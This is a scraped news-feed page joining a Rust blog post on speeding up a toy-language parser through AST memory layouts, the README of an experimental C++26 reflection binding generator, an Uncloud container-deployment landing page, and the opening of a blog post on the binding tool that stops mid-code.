    2025-12-04 06:44:38
    Comments...
    Original Article
    Table of contents

    In my previous post, I introduced the simp le programming language. Near the end of that post, I mentioned that the parser isn't very efficient.

    Let's try to optimize it!

    If you're just curious about the title of the article, you can skip ahead to that section .

    (Re-)introducing simp

    First, a quick recap on the programming language being implemented here:

    fn fibonacci(n) {
      if n < 2 { n }
      else { fib(n-1) + fib(n-2) }
    }
    
    let result = fibonacci(30);
    

    It's a very simple , language consisting of:

    • Variables
    • Functions
    • Various kinds of expressions
    • Conditionals

    It's not particularly useful, but it has enough stuff to be a good testing ground for experimenting with parsers.

    Simple AST

    Currently, the implementation uses a recursive descent parser which produces an abstract syntax tree (AST). The AST represents code in a more structured form, which is easier to work with in subsequent compilation passes.

    Here is a small subset of the full AST definition:

    enum Stmt {
        Expr(Box<Expr>),
        // ... other statements
    }
    
    enum Expr {
        Block(Box<ExprBlock>),
        // ... more expressions
    }
    
    struct ExprBlock {
        body: Vec<Stmt>,
    }
    

    It highlights a few things:

    • Each kind of Stmt and Expr is in a Box , to allow these types to be recursive .
    • Sequences are stored in Vec s.

    This kind of design is simple and flexible. Unfortunately, it also uses a lot of memory, and each syntax node requires many separate allocations.

    A note on benchmarking

    Benchmarking is difficult. It's very easy to introduce bias or measure the wrong thing.

    We'll be relying on two metrics:

    • Throughput in lines of code per second
    • Maximum memory usage

    The scenario will be to parse a set of files with different sizes, starting at a few kB and going up to 100 MB. We're effectively measuring how much time it takes to construct the AST, and how much memory it uses. We won't be measuring anything beyond that.

    A 100 MB file has nearly 10 million lines of code! The reason we go that high is to prevent the CPU from storing the entire file and its AST in CPU cache.

    Don't over-interpret these numbers! All they'll tell you is the relative performance of different kinds of tree representations.

    Simple tree AST results

    • The Y axis is in millions of lines of code per second.
    • The X axis is log10(input size) .

    We're using log10 for the X axis, otherwise all the smaller inputs would be crammed to the left side of the plot. This way the results are more evenly spread out.

    Our memory scales ~linearly with the size of the input, so no log10 here, as a straight line tells a better story.

    We have nothing to compare this to right now, so these numbers are pretty meaningless. We're clocking in at ~millions of lines of code per second, so it's not too slow... but we can do better!

    Amortizing allocations

    Here's StmtFn , the syntax node for function declarations:

    // `fn f(a,b,c) {...}`
    struct StmtFn {
        // fn f(a,b,c) {...}
        //    ^
        name: String,
    
        // fn f(a,b,c) {...}
        //      ^^^^^
        params: Vec<String>,
    
        // fn f(a,b,c) {...}
        //             ^^^^^
        body: Block,
    }
    

    Each name and parameter in the declaration turns into a separately heap-allocated string.

    String interning

    Instead of storing owned String s, we'll store an index into a string buffer. That string buffer will also keep track of where each string is in the buffer, so that we can find equivalent strings later.

    Interning is a "get or insert" operation on that string buffer. It will allow us to re-use memory for strings and identifiers which appear multiple times in the same source file.

    Here's how our structure changes:

    struct Ast {
      identifiers: Interner<IdentId>,
    }
    
    struct StmtFn {
        name: IdentId,
        params: Vec<IdentId>,
        body: Block,
    }
    

    We'll do the interning while parsing:

    fn parse_expr_ident(c: &mut Cursor, ast: &mut Ast) -> Result<Expr> {
        let token = c.must(LIT_IDENT)?;
        let name = c.lexeme(token);
        let id = ast.intern_ident(name);
        Ok(Expr::Ident(Box::new(ExprIdent { name: id })))
    }
    

    This was a relatively painless change!

    A nice property of interning all strings is that to compare them, all you need is their ID, because identical strings are guaranteed to have the same ID. You don't have to compare the actual string memory.

    O(1) string comparisons, nice!

    During traversal, we'll have to resolve these IDs to the actual strings if we want to print them.

    Interning results

    In this graph, higher is better. So interning strings is actually faster!

    This is a bit counter-intuitive, though. Why does it take less time to do more work ? We're now hashing each string, looking it up in a map, and then either returning an ID after optionally allocating something. Previously we were always allocating.

    The next graph will partially answer that:

    A page fault is a signal to the operating system that the process is trying to use a page it has allocated , and so the page must be assigned a physical address in RAM.

    The more memory you use, the more page faults there are. And they add up quick! It turns out that using less memory also means the CPU has to do less work.

    So, are we actually using less memory?

    Yes, by quite a bit! We peak at ~2.3 GB for the "simple tree" representation, and at ~1.8 GB when interning strings. That's more than a 20% reduction!

    Memory usage and page faults are directly correlated. If you allocate and actually fill 2 GB of memory, with a page size of 4096 bytes, we can predict ~500 thousand page faults. That's exactly what we see in the graphs above.

    Allocations are expensive!

    Can we reduce memory usage even further?

    Pointer compression

    Enter "flat AST". Here is a nice article about this concept. To summarize:

    Instead of storing full 64-bit pointers, we'll store 32-bit indices . These indices are relative to the base of a memory arena .

    The result is that nodes are allocated in contiguous arrays, which allow us to amortize the cost of those allocations. Instead of doing a malloc call per node, we'll be doing a malloc call for every N nodes.

    struct StmtFn {
        name: IdentId,
        params: Vec<IdentId>,
        body: ExprId,
    }
    

    We'll also use interning in this AST.

    I thought about whether to properly separate all the different methods in this article, but ultimately decided not to. For each kind of AST, I have to copy and update the parser... That's a lot of work, and I don't believe it would change the conclusion.

    Our StmtFn no longer directly stores an ExprBlock as its body , instead it stores an ExprId . That makes the whole struct quite a bit smaller.

    We'll need a place to store nodes:

    struct Ast {
        exprs: Vec<Expr>,
        stmts: Vec<Stmt>,
    
        strings: Interner<StrId>,
        idents: Interner<IdentId>,
    }
    

    We could also just have a single array of Node , but that would require combining Stmt and Expr into a new enum, and I wanted to avoid any extra indirection here.

    While parsing, We'll ask the ast to store new nodes, instead of wrapping each one in a Box :

    fn parse_stmt_fn(c: &mut Cursor, ast: &mut Ast) -> Result<StmtId> {
        assert!(c.eat(KW_FN));
    
        let name = parse_ident(c, ast)?;
        let params = parse_param_list(c, ast)?;
        let body = parse_expr_block(c, ast)?;
    
        Ok(ast.alloc_stmt(Stmt::Fn(StmtFn { name, params, body })))
    }
    

    The ast gives us a node ID in return. We can store that node ID inside other nodes.

    We're not interning these nodes. Even if you have two identical syntax trees, they'll be duplicated in the final AST.

    This is pretty close to what rustc does! Is it any good?

    Flat AST results

    Yeah, that is an improvement!

    The results are a bit noisy on smaller files. At those scales, the overhead of whatever setup the flat AST has to do is higher than the actual parsing. My computer is also a bit noisy while running these benchmarks.

    We've reduced the memory usage again! But not by a whole lot.

    The reason is that each variant of the Stmt and Expr enum is unboxed . rustc actually boxes the larger variants, which would reduce memory usage. I didn't do that because it makes the benchmark slower, and it'd negate the whole point of demonstrating usage of a memory arena.

    Still, nice speedup!

    ...can we do better?

    Bump allocation

    A memory arena is a contiguous section of the heap . But the heap is already flat. Why do we have to flatten it further?

    Well, sort of flat. Memory pages used by a process don't actually have to be contiguous. They could be anywhere in physical memory.

    Let's bring in a library: bumpalo implements a bump allocator , which can be used to allocate arbitrary types in a contiguous memory arena . It provides us with address stability, as it never reallocates an existing block of memory, instead allocating a new block (twice the size of the previous one) when it runs out of space.

    Our AST will go back to looking like it did initially, a tree of pointers. But this time, the nodes are bump-allocated, amortizing the cost of allocation in much the same way as the flat AST representation.

    We're in Rust, with compiler-checked lifetimes. Each call to Bump::alloc will yield a reference to the allocated value. That reference has a lifetime tied to the lifetime of the Bump allocator it came from. So we'll have to annotate each syntax node with a lifetime in order to be able to store them:

    enum Stmt<'a> {
        Fn(&'a StmtFn<'a>),
        Let(&'a StmtLet<'a>),
        Expr(&'a Expr<'a>),
    }
    
    struct StmtFn<'a> {
        name: IdentId,
        params: Vec<'a, IdentId>,
        body: Block<'a>,
    }
    

    This lifetime is now "infectious", and every time we allocate or use our AST, we'll have to contend with it. Luckily, in most compilers, the lifetimes of intermediate data structures are quite linear: After you parse, you use the AST, then discard it.

    Is it worth it?

    Bump allocation results

    Yeah! Again, a huge improvement.

    What about memory usage?

    We're actually using less memory. That's because each variant of Stmt and Expr is significantly smaller.

    Note that each Vec is a little bit bigger, because it now also stores a reference to the Bump allocator.

    I'm convinced that just by adding string interning and bump allocation, our AST is already close to optimal, given a reasonable level of effort.

    But why stop at reasonable ? We can do better.

    Super flat

    Something bothers me about all the previous layouts. We can dictate the relative position of child nodes in memory, but we still store an index or pointer to each one separately.

    For example, given a Binary expression, we need to store two pointers to the lhs and rhs child nodes.

    This gets much worse if we need a dynamic number of sub-nodes. Each Vec adds 24 bytes to a syntax node!

    We can take advantage of the fact that our AST nodes fit in one of two categories:

    • Nodes with a static number of child nodes
    • Nodes with a dynamic number of child nodes

    Going back to the example of Binary , it's in the first category, as it always has exactly two child nodes.

    What if each node's child nodes were contiguous ? We would only have to store the index of the first child , and the index of second child and onward would be simply relative to the first. So for Binary :

    • lhs is at nodes[index+0]
    • rhs is at nodes[index+1]

    To store nodes with a dynamic number of child nodes, we'll also need to store the number of child nodes in some kind of length field.

    Each node will still have to store what its type is. For that, we'll use a tag field.

    We can pack all of this information into just 8 bytes . In pseudo-Rust with arbitrarily-sized integers:

    struct Node {
        tag: u8,
        length: u24,
        first_child_index: u32
    }
    

    The length and first_child_index fields aren't always going to be used. Sometimes a node is just its tag, like a Break expression. For fixed-arity nodes like Binary , we don't need the length .

    We can re-purpose these fields to store additional information:

    • The Binary operator field is a u8 enum, so we can encode it into the length field, since it's unused.
    • A String doesn't have any child nodes. We can store the interned string ID (a u32 ) in the available space!

    And so on. We can generalize this as fixed-arity nodes can hold a 3 byte inline value, and leaf (tag only) nodes can hold a 7 byte inline value.

    I don't know if this has a name already. I've been referring to this as a super flat representation. It's inspired by flat ASTs , but goes a step further in the flattening.

    Super flat implementation

    This kind of representation is a lot more complex than anything we've looked at previously. We'll need to set up some infrastructure to define these nodes, as manually indexing into a nodes array can be quite error-prone!

    We'll probably want to generate the required code. I've previously done it with offline codegen, by writing a separate program which outputs a source file containing the AST definitions.

    In this case, we'll use a declarative macro :

    declare_node! {
        #[leaf]
        struct ExprStr (value: StrId);
    }
    
    declare_node! {
        #[tree]
        struct ExprBinary (op: BinaryOp) {
            lhs: Expr = 0,
            rhs: Expr = 1,
        }
    }
    
    declare_node! {
        #[dyn_tree]
        struct ExprBlock {
            #[tail]
            body: [Stmt],
        }
    }
    
    

    The syntax here mimics Rust's struct syntax, but as you can tell, it's not quite the same.

    A string expression has no child nodes, only an inline string id :

    #[leaf]
    struct ExprStr (value: StrId);
    

    A binary expression has two child nodes:

    #[tree]
    struct ExprBinary (op: BinaryOp) {
        lhs: Expr = 0,
        rhs: Expr = 1,
    }
    

    Due to the limitations of declarative macros (or maybe just a skill issue on my side), we'll have to tell the macro which field belongs under which index.

    Block expressions have a dynamic number of child nodes:

    #[dyn_tree]
    struct ExprBlock {
        #[tail]
        body: [Stmt],
    }
    

    The macro expands to a function which packs the node into the AST, and a few getters which retrieve child nodes.

    There's also some miscellaneous runtime machinery to make it all work.

    Macro expansion

    Block expression :

    #[repr(transparent)]
    pub struct ExprBlock {
        packed: Packed,
    }
    
    impl ExprBlock {
        const NUM_STATIC_FIELDS: usize = 1 + 0;
        pub fn pack(ast: &mut AstBuilder, tail: Opt<Expr>, body: &[Stmt]) -> Self {
            let index = ast.nodes.len() as u64;
            if !(index <= u32::MAX as u64) {
                ::core::panicking::panic("assertion failed: index <= u32::MAX as u64")
            }
            let index = index as u32;
            let len = body.len() as u64;
            if !(len <= U24_MASK) {
                ::core::panicking::panic("assertion failed: len <= U24_MASK")
            }
            let len = len as u32;
            ast.nodes.push(tail.packed);
            for node in body {
                ast.nodes.push(node.packed);
            }
            Self {
                packed: DynTree::new(Tag::ExprBlock as u8, index, len).packed,
            }
        }
    
        pub fn tail(self, ast: &impl NodeStorage) -> Opt<Expr> {
            if true {
                if !Self::check_tag(self.packed.tag()) {
                    ::core::panicking::panic(
                        "assertion failed: Self::check_tag(self.packed.tag())",
                    )
                }
            }
            let index = self.packed.dyn_tree().child() as usize + 0;
            let node = ast.get(index).unwrap();
            unsafe { transmute_node(node) }
        }
        
        pub fn body(self, ast: &impl NodeStorage) -> &[Stmt] {
            if true {
                if !Self::check_tag(self.packed.tag()) {
                    ::core::panicking::panic(
                        "assertion failed: Self::check_tag(self.packed.tag())",
                    )
                }
            }
            let index = self.packed.dyn_tree().child() as usize
                + Self::NUM_STATIC_FIELDS;
            let len = self.packed.dyn_tree().len() as usize;
            let nodes = ast.get_slice(index..index + len).unwrap();
            unsafe { transmute_node_slice(nodes) }
        }
    }
    

    Binary expression :

    pub struct ExprBinary {
        packed: Packed,
    }
    
    impl ExprBinary {
        pub fn pack(ast: &mut AstBuilder, lhs: Expr, rhs: Expr, op: BinaryOp) -> Self {
            let index = ast.nodes.len() as u64;
            if !(index <= u32::MAX as u64) {
                ::core::panicking::panic("assertion failed: index <= u32::MAX as u64")
            }
            let index = index as u32;
            let value = op.into_u24();
            if !(value <= U24_MASK as u32) {
                ::core::panicking::panic("assertion failed: value <= U24_MASK as u32")
            }
            ast.nodes.push(lhs.packed);
            ast.nodes.push(rhs.packed);
            Self {
                packed: Tree::new(Tag::ExprBinary as u8, index, value).packed,
            }
        }
    
        pub fn lhs(self, ast: &impl NodeStorage) -> Expr {
            if true {
                if !Self::check_tag(self.packed.tag()) {
                    ::core::panicking::panic(
                        "assertion failed: Self::check_tag(self.packed.tag())",
                    )
                }
            }
            let index = self.packed.tree().child() as usize + 0;
            let node = ast.get(index).unwrap();
            unsafe { transmute_node(node) }
        }
    
        pub fn rhs(self, ast: &impl NodeStorage) -> Expr {
            if true {
                if !Self::check_tag(self.packed.tag()) {
                    ::core::panicking::panic(
                        "assertion failed: Self::check_tag(self.packed.tag())",
                    )
                }
            }
            let index = self.packed.tree().child() as usize + 1;
            let node = ast.get(index).unwrap();
            unsafe { transmute_node(node) }
        }
    
        pub fn op(self) -> BinaryOp {
            if true {
                if !Self::check_tag(self.packed.tag()) {
                    ::core::panicking::panic(
                        "assertion failed: Self::check_tag(self.packed.tag())",
                    )
                }
            }
            let value = self.packed.tree().value();
            <BinaryOp as Inline24>::from_u24(value)
        }
    }
    
    

    String expression :

    #[repr(transparent)]
    pub struct ExprStr {
        packed: Packed,
    }
    
    impl ExprStr {
        pub fn pack(value: StrId) -> Self {
            let value = value.into_u56();
            if !(value <= U56_MASK) {
                ::core::panicking::panic("assertion failed: value <= U56_MASK")
            }
            Self {
                packed: Leaf::new(Tag::ExprStr as u8, value).packed,
            }
        }
    
        pub fn value(self) -> StrId {
            if true {
                if !Self::check_tag(self.packed.tag()) {
                    ::core::panicking::panic(
                        "assertion failed: Self::check_tag(self.packed.tag())",
                    )
                }
            }
            let value = self.packed.leaf().value();
            <StrId as Inline56>::from_u56(value)
        }
    }
    

    You may notice some unsafe code in the implementation. We're doing something that the Rust compiler can't handle for us, so we take matters into our own hands. We know that the AST is correct by construction, so we assume that a given node's child nodes exist, and they are the correct type.

    This was a lot of work. How does it perform?

    Super flat results

    To me, this isn't a surprise. Look at the next graph:

    A traditional tree representation uses 3x more memory than our super flat representation.

    Of course, you don't usually write 100 MB large files. Luckily, it performs better at every scale.

    Fin

    Thanks for reading!

    As always, the code is available on GitHub , this time including the benchmarks and plot generation.

    Show HN: Mirror_bridge – C++ Reflection powered Python binding generation

    Hacker News
    github.com
    2025-12-04 06:12:23
    Comments...
    Original Article

    Mirror Bridge

    Modern C++ meets Multiple Languages: Automatic bindings using C++26 reflection - zero boilerplate, pure compile-time magic.

    ⚠️ EXPERIMENTAL : This project requires C++26 reflection (P2996), which is not yet standardized. It only works with Bloomberg's clang-p2996 fork . Not recommended for production use until P2996 lands in standard C++26.

    One C++ Class, Three Languages

    // Write your C++ code once
    struct Calculator {
        double value = 0.0;
        double add(double x) { return value += x; }
        double subtract(double x) { return value -= x; }
    };

    Python:

    import cpp_calc
    calc = cpp_calc.Calculator()
    calc.add(10)
    calc.subtract(3)
    print(calc.value)  # 7.0

    JavaScript (Node.js):

    const calc = new addon.Calculator();
    calc.add(10);
    calc.subtract(3);
    console.log(calc.x);  // 7.0

    Lua:

    local calc = cpp_calc.Calculator()
    calc:add(10)
    calc:subtract(3)
    print(calc.value)  -- 7.0

    No manual binding code. No wrapper macros. Just pure C++26 reflection. 🎉

    Supported Languages

    Language Status API Example
    Python ✅ Stable Python C API import my_module
    JavaScript ✅ Stable Node.js N-API const mod = require('my_module')
    Lua ✅ Stable Lua C API local mod = require("my_module")

    What is Mirror Bridge?

    Mirror Bridge is a header-only library that uses C++26 reflection (P2996) to automatically introspect your C++ classes at compile-time and generate bindings for Python, JavaScript, and Lua. It discovers:

    • Data members - automatic getters/setters with type safety
    • Methods (any number of parameters) - variadic parameter support
    • Constructors - including parameterized constructors
    • Method overloading - automatic name mangling for overloads
    • Smart pointers - std::unique_ptr , std::shared_ptr with automatic conversion
    • Nested classes - recursive handling, cross-file dependencies
    • Containers - std::vector , std::array with bidirectional conversion
    • Exception handling - C++ exceptions → Python exceptions
    • Enums - automatic conversion to/from Python int
    • Object representation - automatic __repr__ implementation
    • Inheritance - reflection automatically discovers inherited members

    Zero overhead: All binding code is generated at compile-time through template metaprogramming and reflection - no runtime costs.

    Quick Start

    # 1. Get the environment
    ./start_dev_container.sh
    # Choose option 1 to pull pre-built image (~2 min)
    
    # 2. Inside container - verify it works
    cd /workspace && ./tests/run_all_tests.sh
    
    # 3. Try an example
    cd examples/option2
    ../../mirror_bridge_auto src/ --module math_module
    python3 test_option2.py

    That's it! See QUICKSTART.md for a detailed walkthrough.

    Two Approaches to Auto-Generation

    Mirror Bridge offers two workflows optimized for different use cases:

    Option 1: Auto-Discovery (Minimal Friction)

    Just point at a directory - bindings are auto-generated for all classes.

    Python:

    mirror_bridge_auto src/ --module my_module

    Lua:

    mirror_bridge_auto_lua src/ --module my_module

    JavaScript (Node.js):

    mirror_bridge_auto_js src/ --module my_module
    • Zero configuration - discovers all classes automatically
    • Perfect for prototyping and small projects
    • Opt-out via comments - mark classes to skip
    • Works for all three languages - Python, Lua, JavaScript

    Example:

    // src/calculator.hpp
    struct Calculator {
        double value;
        double add(double x);
    };
    
    // src/vector3.hpp
    struct Vector3 {
        double x, y, z;
        double length();
    };
    # One command binds BOTH classes
    mirror_bridge_auto src/ --module mylib
    import mylib
    calc = mylib.Calculator()
    vec = mylib.Vector3()

    See examples/option2/ for full example.

    Option 2: Config File (Production)

    Declarative config for explicit control over what gets bound.

    Create my_module.mirror :

    module: my_module
    
    include_dirs: src/, include/
    
    Calculator: calculator.hpp
    Vector3: vector3.hpp
    
    mirror_bridge_generate my_module.mirror
    • Explicit control - only bind what you specify
    • Version control friendly - declarative config
    • Class renaming - Foo::Bar: foo.hpp as Bar

    See examples/option3/ for full example.

    Full comparison: examples/README.md

    Single-Header Distribution

    For easier integration, Mirror Bridge provides single-header amalgamated versions for each language. Just copy one file to your project!

    Generate single-headers:

    This creates:

    • single_header/mirror_bridge_python.hpp (~1771 lines, 65KB)
    • single_header/mirror_bridge_lua.hpp (~859 lines, 32KB)
    • single_header/mirror_bridge_javascript.hpp (~875 lines, 33KB)

    Usage:

    // Instead of: #include "python/mirror_bridge_python.hpp"
    // Just:
    #include "mirror_bridge_python.hpp"  // Single self-contained header!
    
    MIRROR_BRIDGE_MODULE(my_module,
        mirror_bridge::bind_class<MyClass>(m, "MyClass");
    )

    See SINGLE_HEADER_GUIDE.md for complete documentation.

    What Gets Auto-Generated?

    Data Members

    struct Point { double x, y; };
    p = my_module.Point()
    p.x = 3.0  # Automatic getter/setter
    p.y = 4.0

    Methods (Variadic Parameters)

    struct MathOps {
        double add3(double a, double b, double c) { return a + b + c; }
        double sum5(double a, double b, double c, double d, double e) {
            return a + b + c + d + e;
        }
        void reset() { value = 0; }  // Zero parameters work too
    };
    ops = my_module.MathOps()
    ops.add3(1.0, 2.0, 3.0)           # 3 parameters ✓
    ops.sum5(1, 2, 3, 4, 5)           # 5 parameters ✓
    ops.reset()                        # 0 parameters ✓
    # ANY number of parameters supported through variadic templates

    Constructors with Parameters

    struct Rectangle {
        Rectangle() : width(0), height(0) {}
        Rectangle(double w, double h) : width(w), height(h) {}
        Rectangle(double w, double h, std::string name)
            : width(w), height(h), name(name) {}
    
        double width, height;
        std::string name;
    };
    r1 = my_module.Rectangle()              # Default constructor
    r2 = my_module.Rectangle(10.0, 5.0)    # 2-parameter constructor
    r3 = my_module.Rectangle(10, 5, "box") # 3-parameter constructor
    # Automatic constructor discovery and parameter matching

    Method Overloading

    struct Printer {
        void print(int value) { /* ... */ }
        void print(double value) { /* ... */ }
        void print(std::string value) { /* ... */ }
    };
    p = my_module.Printer()
    p.print_int(42)                    # int overload
    p.print_double(3.14)               # double overload
    p.print_std__string("hello")       # string overload
    # Automatic name mangling distinguishes overloads

    Smart Pointers

    struct Data {
        std::string name;
        int value;
    };
    
    struct ResourceManager {
        std::unique_ptr<Data> unique_data;
        std::shared_ptr<Data> shared_data;
    
        std::unique_ptr<Data> create_unique(std::string n, int v);
    };
    rm = my_module.ResourceManager()
    
    # Smart pointers convert to/from Python dicts
    result = rm.create_unique("test", 42)
    print(result)  # {'name': 'test', 'value': 42}
    
    # Set from dict - creates managed pointer automatically
    rm.unique_data = {'name': 'data', 'value': 123}
    
    # None handling for null pointers
    rm.unique_data = None  # Sets to nullptr

    Nested Classes

    struct Address {
        std::string city;
    };
    
    struct Person {
        std::string name;
        Address addr;  // Nested!
    };
    p = my_module.Person()
    p.addr = {'city': 'Boston'}  # Dict conversion

    Containers

    struct Data {
        std::vector<double> values;
        std::array<int, 3> coords;
    };
    d.values = [1.0, 2.0, 3.0]  # List → vector
    d.coords = [1, 2, 3]         # List → array

    Exception Handling

    double divide(double x) {
        if (x == 0) throw std::runtime_error("Division by zero");
        return value / x;
    }
    try:
        calc.divide(0)
    except RuntimeError as e:
        print(e)  # "Division by zero"

    Project Structure

    mirror_bridge/
    ├── mirror_bridge.hpp           # Single-header library (core reflection logic)
    ├── mirror_bridge_pch.hpp       # Precompiled header wrapper (optional)
    ├── mirror_bridge_auto          # Auto-discovery script
    ├── mirror_bridge_generate      # Config file script
    ├── mirror_bridge_build         # Direct compilation script
    ├── mirror_bridge_build_pch     # PCH builder script (optional)
    ├── start_dev_container.sh      # Docker setup (persistent container)
    ├── examples/
    │   ├── README.md               # Detailed usage guide
    │   ├── option2/                # Auto-discovery example
    │   └── option3/                # Config file example
    └── tests/
        ├── run_all_tests.sh        # Automated test suite
        ├── test_pch.sh             # PCH functionality test
        └── e2e/                    # End-to-end tests
            ├── basic/              # Point2D, Vector3
            ├── containers/         # std::vector, std::array
            ├── nesting/            # Nested classes, cross-file
            └── methods/            # Method binding (Calculator)
    

    How It Works

    Mirror Bridge leverages C++26 reflection at compile-time:

    1. Discovery : Uses std::meta::nonstatic_data_members_of(^^T) to find all class members
    2. Method Introspection : Uses std::meta::members_of + std::meta::is_function to find methods
    3. Type Extraction : Uses std::meta::type_of and std::meta::identifier_of for names
    4. Code Generation : Generates Python C API bindings via template metaprogramming
    5. Compilation : Compiles to .so module with reflection-enabled clang

    All binding logic is resolved at compile-time - zero runtime overhead.

    See CONTRIBUTING.md for technical details.

    Requirements

    • Compiler : Bloomberg clang-p2996 (P2996 reflection support)
    • Python : 3.7+
    • Platform : Linux (or macOS with Docker)

    Testing

    # Inside Docker container:
    
    # Run all automated tests
    ./tests/run_all_tests.sh
    
    # Output:
    # ✓ Built: 12 bindings
    # ✓ Passed: 12 tests
    # ✓ ALL TESTS PASSED!
    
    # Test coverage:
    # - Basic data members (Point2D, Vector3)
    # - Containers (std::vector, std::array)
    # - Nested classes (2-level, 3-level, cross-file)
    # - Methods (Calculator with various signatures)
    # - Variadic parameters (3, 4, 5, 6 parameter methods)
    # - Constructors with parameters (0, 2, 3 parameters)
    # - Method overloading (int/double/string overloads)
    # - Smart pointers (unique_ptr, shared_ptr conversion)

    Advanced feature tests ( tests/e2e/advanced/ ):

    • Variadic : Methods with 3-6 parameters, weighted sums, format functions
    • Constructors : Default, 2-param, 3-param constructor matching
    • Overloading : Type-based name mangling for overloaded methods
    • Smart Pointers : Bidirectional dict conversion, nullptr handling, return values

    Documentation

    Current Limitations

    • Passing bound class instances as parameters (requires reference/pointer handling)
    • Template classes (must be explicitly instantiated before binding)
    • Const method overloads (treated as same method currently)
    • Advanced smart pointers ( weak_ptr , custom deleters)

    Roadmap

    Recently Completed:

    • ✅ Variadic parameter support (any number of parameters)
    • ✅ Constructor parameter binding
    • ✅ Method overloading via name mangling
    • ✅ Smart pointer support ( unique_ptr , shared_ptr )

    Next:

    • Reference parameters and bound class passing
    • Const method overload distinction
    • Template class binding automation
    • Additional backends (Rust, Lua)
    • Python stub generation (.pyi files)

    Performance

    Mirror Bridge delivers significant performance improvements over pybind11:

    Compile-Time: 2-3x faster

    • Simple project (1 class): 816ms vs 1,938ms pybind11 (2.4x faster)
    • Medium project (10 classes): 1,543ms vs 3,637ms pybind11 (2.4x faster)
    • Why: Reflection eliminates template metaprogramming overhead

    Runtime: 3-5x faster

    • Function calls : 35ns vs 127ns pybind11 (3.6x faster)
    • Object construction : 47ns vs 256ns pybind11 (5.4x faster)
    • Why: Direct Python C API calls, no template dispatch

    Developer Experience: Zero boilerplate

    • Auto-discovery : mirror_bridge_auto src/ --module name
    • No binding code required vs 18-103 lines for pybind11
    • Instant : Add members/methods → automatically bound

    Methodology: 5 runs per test, median ± stddev reported, identical optimization flags ( -O3 -DNDEBUG )

    Precompiled Headers (PCH): 3-6x faster compilation

    For even faster builds, use precompiled headers to cache the Mirror Bridge infrastructure:

    # One-time: Build PCH (takes ~600ms, reuse forever)
    ./mirror_bridge_build_pch -o build -t release
    
    # Every build: Use PCH for 3-6x faster compilation
    mirror_bridge_auto src/ --module my_module --use-pch build/mirror_bridge_pch.hpp.gch

    Performance with PCH:

    • Simple project : 567ms → 194ms (66% faster, 2.9x speedup)
    • Medium project : 1580ms → 252ms (84% faster, 6.3x speedup)
    • One-time cost : ~600ms to build PCH (amortized across all builds)

    Key benefits:

    • Shared across projects - build PCH once, use everywhere
    • Debug/Release PCH - separate PCH for different build configurations
    • Zero code changes - just add --use-pch flag
    • Automatic detection - mirror_bridge_auto finds PCH automatically

    Complete guide: See PCH_GUIDE.md and WORKFLOW_GUIDE.md

    Test suite: Run ./tests/test_pch.sh to verify PCH infrastructure

    Benchmarks

    Run comprehensive tests yourself:

    See benchmarks/FINAL_RESULTS.md for complete results and analysis.

    Contributing

    This is an experimental project exploring C++26 reflection. Contributions welcome!

    Areas needing work:

    • Extended parameter support for methods
    • Template class handling
    • Additional backends (Rust, Lua)

    License

    Apache License 2.0 - See LICENSE for details.

    Acknowledgments


    Status : Experimental - C++26 reflection is not yet supported on all C++ compilers. This project uses Bloomberg's clang-p2996 implementation.

    Yes, method binding works! See calculator tests for full examples.

    Uncloud - Tool for deploying containerised apps across servers without k8s

    Hacker News
    uncloud.run
    2025-12-04 06:02:23
    Comments...
    Original Article

    Take your Docker Compose apps to production with zero-downtime deployments, automatic HTTPS, and cross-machine scaling. No Kubernetes required.

    # Start with any cloud VM or your own server
    $ uc machine init [email protected]
     
    # Deploy your app with automatic HTTPS
    $ uc run --name my-app -p app.example.com:8000/https app-image:latest
    ✨ Your app is available at https://app.example.com
     
    # Achieve high availability by adding more machines and scaling the app
    $ uc machine add [email protected]
    $ uc scale my-app 2

    Cloud-like experience you control

    Keep the Docker Compose workflows you love while deploying anywhere with ease.

    Mix and Match Infrastructure

    • Mix and match cloud and on-premise across regions and providers
    • Deploy customer-facing apps on reliable cloud VMs
    • Run resource-hungry background jobs on budget-friendly bare metal servers
    • Transform that dusty Mac mini into a powerful staging environment

    Effortless Operation

    • Zero-config distributed Docker cluster
    • No control plane to manage
    • Keep apps running even when machines go offline
    • Battle-tested WireGuard networking connects all your machines and workloads right out of the box
    • Automatic HTTPS for your domains using Let's Encrypt

    Developer Experience You Love

    • Deploy and manage across machines with familiar Docker-like commands
    • Use the same Docker Compose from local dev to production
    • Find your services instantly with built-in service discovery and DNS
    • Communicate securely with services across machines without opening ports

    How it works

    Simple by design,
    powerful in practice

    Uncloud replaces complex clusters with a simple network of machines working seamlessly together — no maintenance overhead, just reliable infrastructure.

    Secure private network

    Each machine joins a WireGuard mesh network with automatic peer discovery and NAT traversal. Containers get unique IPs and can communicate directly across machines.

    Fully decentralised

    Unlike traditional orchestrators, there's no central control plane to maintain. Each machine maintains a synchronised copy of the cluster state through peer-to-peer communication, keeping cluster operations functional even if some machines go offline.

    Smart CLI

    Control your entire infrastructure using intuitive Docker-like commands from anywhere. Deploy, monitor, and scale applications across all your machines while the CLI only needs SSH access to a single machine.

    Uncloud cluster diagram
    Multi-provider cluster of 3 machines

    Deploy anywhere

    Run your apps on any Linux machine — from cloud VMs and dedicated servers to bare metal at your office or home.

    Automatic HTTPS

    Get free TLS certificates and automatic HTTPS for your domains with zero configuration using built-in Caddy reverse proxy.

    Load balancing

    Distribute traffic across container replicas running on different machines for improved reliability and performance.

    Service discovery

    Access any service by its name from any container using the built-in DNS that automatically tracks services across your network.

    Infrastructure as Code

    Define your entire app stack in a familiar Docker Compose file. No need to learn a new config format.

    No vendor lock-in

    Mix cloud providers and your own hardware freely to optimise costs and performance, without changing how you deploy or manage apps.

    See in action

    Deploy a highly available web app with automatic HTTPS across multiple regions and on-premises in just a couple minutes.

    Be part of the development journey

    Uncloud is an open source project I'm actively developing. I'd love to share this journey with you. Subscribe to follow the progress, get early insights into new features, and be the first to know when it's ready for production use. No marketing, ads or spam.

    Want to contribute? Check out the GitHub issues and join the Discord server .

    Mirror_bridge – C++ reflection for generating Python/JS/Lua bindings

    Hacker News
    chico.dev
    2025-12-04 05:47:31
    Comments...
    Original Article

    You have a Python codebase. Thousands of lines. It works. Your team knows it. Your tests cover it. Your CI/CD deploys it.

    But there’s this one function. It shows up in every profile. It’s eating 80% of your runtime. You know it would be faster in C++.

    The traditional answer? Rewrite it in C++, then spend sometime writing pybind11 boilerplate to call it from Python. Or just… don’t bother.

    Mirror Bridge is a third option: write C++, run one command, done.

    The Setup

    Let’s say you have a simple operation - a dot product:

    // vec3.hpp
    struct Vec3 {
        double x, y, z;
    
        Vec3(double x, double y, double z) : x(x), y(y), z(z) {}
    
        double dot(const Vec3& other) const {
